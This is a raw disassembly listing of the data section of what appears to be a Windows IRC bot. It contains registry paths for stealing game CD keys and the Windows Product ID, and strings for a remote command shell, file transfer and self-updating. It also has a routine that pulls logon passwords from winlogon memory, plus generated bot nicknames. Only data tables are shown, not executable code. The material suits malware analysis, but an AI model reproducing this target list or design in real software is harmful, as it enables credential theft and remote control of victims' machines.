aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 10h
aSerialnumber db 'SerialNumber',0
align 10h
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
dd offset word_584F4E
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 10h
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 10h
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 10h
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 10h
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 10h
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 10h
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 10h
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 10h
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 10h
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0
align 10h
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aTheGladiators db 'The Gladiators',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o
aCdkey db 'CDKey',0 ; DATA XREF: ___:004368F0o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo
align 4
asc_437AEC: ; DATA XREF: sub_415A30+E9o
; sub_415A30+F4o
unicode 0, <=>,0
dword_437AF0 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_415A30+2Bo
dd 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437B6C db 2Dh ; - ; DATA XREF: ___:00415F18o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
dword_437B90 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:0041617Do
; ___:00416313o
dd 726F72h
unk_437BA8 db 2Dh ; - ; DATA XREF: ___:00416115o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_437BD4 db 2Dh ; - ; DATA XREF: ___:0041601Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_437BF8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:00415FE6o
dd 74756Fh
dword_437C10 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:00415F85o
dd 169h
unk_437C28 db 2Dh ; - ; DATA XREF: ___:00415F42o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_437C48 db 2Dh ; - ; DATA XREF: ___:00415E9Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_437C6C db 2Dh ; - ; DATA XREF: ___:00415E5Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
unk_437C90 db 2Dh ; - ; DATA XREF: ___:0041638Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_437CBC db 2Dh ; - ; DATA XREF: ___:00416288o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_437CDC db 2Dh ; - ; DATA XREF: ___:00416268o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: ___:00416254o
unk_437D0C db 2Dh ; - ; DATA XREF: ___:00416240o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_437D3C db 2Dh ; - ; DATA XREF: ___:0041688Do
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_437D68 db 2Dh ; - ; DATA XREF: ___:0041687Fo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_437D9C db 2Dh ; - ; DATA XREF: ___:004167C3o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
dword_437DE0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416752o
dd 25206465h, 73h
unk_437DFC db 2Dh ; - ; DATA XREF: ___:004166DBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_437E34 db 2Dh ; - ; DATA XREF: ___:0041665Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_437E5C db 2Dh ; - ; DATA XREF: ___:004165D2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_437E88 db 2Dh ; - ; DATA XREF: ___:0041658Fo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_437EB0 db 2Dh ; - ; DATA XREF: ___:0041657Do
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_437ED8 db 2Dh ; - ; DATA XREF: ___:00416471o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A2:loc_4169E5o
; sub_418EF7+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk db 'Disk',0 ; DATA XREF: sub_4169A2:loc_4169D9o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A2:loc_4169CDo
align 4
off_437F28 dd offset word_4D4152 ; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C dw 3Fh ; DATA XREF: sub_4169A2+1Fo
; sub_41AA43:loc_41AB45r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_416A33:loc_416B11o
; sub_416B57+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416A33+6Co
align 10h
unk_437F40 db 2Dh ; - ; DATA XREF: sub_416B57+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_437F7C db 2Dh ; - ; DATA XREF: sub_416B57+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416C29:loc_416C6Eo
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_438028 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417094o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_43805C db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417067o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438088 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417060o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_4380C0 db 2Dh ; - ; DATA XREF: sub_416F1B+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_43811C dd offset aNU1 ; DATA XREF: sub_416F1B+DCo
; "}î1"
dd offset aGo ; "¾êÊ&ƒoÏ"
dd offset dword_4F0044
dd offset loc_41004B+2
dd offset loc_4E0047+2
dd 0
off_438134 dd offset aNU1 ; DATA XREF: sub_416F1B+CEo
; "}î1"
dd offset aGo ; "¾êÊ&ƒoÏ"
dd offset loc_41004E
dd offset byte_45004D
align 8
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1B+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
; sub_416F1B+161o ...
align 4
unk_4381F8 db 2Dh ; - ; DATA XREF: sub_416F1B+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170ED+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170ED+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170ED+AFo
align 4
dword_438244 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417553+70o
; sub_4175EA+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438294 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4175EA+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_4382E8 dd offset aQ ; DATA XREF: sub_417ADE+5Cr
; "q"
dd offset dword_438E90
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset dword_438E8C
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_0 ; "s"
dd offset aD ; "d"
dd offset dword_438E88
dd offset dword_438E84
dd offset dword_438E80
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42CE50 ; "l"
dd offset dword_438E7C
dd offset dword_438E78
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_438E74
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_438E70
dd offset dword_438E6C
dd offset dword_438E68
dd offset dword_438E64
dd offset dword_438E60
dd offset word_438E5C
dd offset dword_438E58
dd offset aI_0 ; "I"
dd offset dword_438E54
dd offset dword_438E50
dd offset aA_0 ; "A"
dd offset dword_438E4C
dd offset dword_438E48
dd offset dword_438E44
dd offset dword_438E40
dd offset dword_438E3C
dd offset dword_438E38
dd offset dword_438E34
dd offset dword_438E30
dd offset dword_438E2C
dd offset dword_438E28
dd offset dword_438E24
dd offset dword_438E20
dd offset dword_438E1C
dd offset word_438E18
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_438BB0
dd offset off_438BAC
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438A18
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_4385E8 dd offset aSex ; DATA XREF: sub_417ADE+41r
; sub_417ADE+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_438E74
dd offset aC ; "c"
dd offset aD ; "d"
dd offset aE ; "e"
dd offset dword_438E88
dd offset dword_438E84
dd offset dword_438E80
dd offset aI ; "i"
dd offset dword_42BBF8
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42CE50 ; "l"
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_438E90
dd offset dword_438E78
dd offset dword_438E8C
dd offset dword_438E7C
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_438E7C
dd offset dword_438E84
dd offset aS_0 ; "s"
dd offset aQ ; "q"
dd offset off_438838
dd offset aBbl ; "|bbl"
dd offset dword_43D808
dd offset dword_43D808
dd offset a___0 ; "_|_"
dd offset dword_43D808
dd offset dword_43D808
dd offset dword_43D808
dd offset dword_43D808
dd offset dword_438E44
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_438E74
dd offset dword_43D808
dd offset aSleeping ; "Sleeping"
dd offset dword_43D808
dd offset dword_43D808
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset dword_43D808
dd offset dword_43D808
dd offset dword_438E28
dd offset dword_43D808
dd offset off_4387F8
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_4387B8
dd offset dword_4387B4
dd offset dword_4387AC
dd offset dword_4387A0
dd offset dword_438798
dd offset dword_438790
dd offset dword_438788
dd offset dword_438784
dd offset dword_438780
dword_438780 dd 7536h ; DATA XREF: ___:0043877Co
dword_438784 dd 7535h ; DATA XREF: ___:00438778o
dword_438788 dd 7C75347Ch, 0 ; DATA XREF: ___:00438774o
dword_438790 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438770o
dword_438798 dd 7375347Ch, 7Ch ; DATA XREF: ___:0043876Co
dword_4387A0 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o
dword_4387AC dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438764o
dword_4387B4 dd 6C6F6Ch ; DATA XREF: ___:00438760o
dword_4387B8 dd 746F74h ; DATA XREF: ___:0043875Co
aMofo db 'mofo',0 ; DATA XREF: ___:00438758o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:00438754o
align 4
aMuha db 'muha',0 ; DATA XREF: ___:00438750o
align 4
aYeah db 'yeah',0 ; DATA XREF: ___:0043874Co
align 4
aAha db 'aha',0 ; DATA XREF: ___:00438748o
aShit db 'shit',0 ; DATA XREF: ___:00438744o
align 4
aGurl db 'gurl',0 ; DATA XREF: ___:00438740o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:0043873Co
align 4
off_4387F8 dd offset loc_594F41+1 ; DATA XREF: ___:00438738o
aFree db 'Free',0 ; DATA XREF: ___:00438724o
align 4
